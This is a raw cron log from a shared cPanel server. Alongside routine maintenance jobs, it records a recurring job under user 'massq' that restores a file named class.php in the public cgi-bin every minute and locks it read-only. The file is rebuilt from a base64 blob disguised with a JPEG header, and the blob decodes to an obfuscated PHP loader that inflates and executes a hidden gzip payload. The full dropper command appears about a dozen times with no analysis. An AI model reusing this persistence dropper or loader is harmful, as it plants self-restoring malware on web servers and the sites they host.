Sep  2 09:56:01 server CROND[7563]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:56:01 server CROND[7564]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:56:01 server CROND[7565]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:57:01 server CROND[7966]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:57:01 server CROND[7968]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:57:01 server CROND[7967]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:57:01 server CROND[7969]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 09:58:01 server CROND[8350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:58:01 server CROND[8351]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:58:01 server CROND[8352]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:59:01 server CROND[8826]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:59:01 server CROND[8827]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:59:01 server CROND[8828]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:00:01 server CROND[9222]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 10:00:01 server CROND[9224]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  2 10:00:01 server CROND[9238]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:00:01 server CROND[9241]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 10:00:01 server CROND[9240]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 10:00:01 server CROND[9244]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 10:00:01 server CROND[9245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:00:01 server CROND[9247]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  2 10:00:01 server CROND[9242]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 10:00:01 server CROND[9243]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:01:01 server CROND[10195]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:01:01 server CROND[10198]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:01:01 server CROND[10196]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 10:01:01 server CROND[10197]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:01:01 server run-parts(/etc/cron.hourly)[10196]: starting 0anacron
Sep  2 10:01:01 server run-parts(/etc/cron.hourly)[10220]: finished 0anacron
Sep  2 10:02:01 server CROND[10597]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:02:01 server CROND[10598]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:02:01 server CROND[10599]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:03:01 server CROND[10987]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:03:01 server CROND[10988]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:03:01 server CROND[10986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:04:01 server CROND[11462]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:04:01 server CROND[11463]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:04:01 server CROND[11464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:05:01 server CROND[11933]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 10:05:01 server CROND[11935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:05:01 server CROND[11938]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 10:05:01 server CROND[11941]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:05:01 server CROND[11939]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:05:01 server CROND[11945]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 10:05:01 server CROND[11946]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 10:05:01 server CROND[11942]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 10:06:01 server CROND[12803]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:06:01 server CROND[12804]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:06:01 server CROND[12805]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:07:01 server CROND[13178]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:07:01 server CROND[13179]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:07:01 server CROND[13180]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
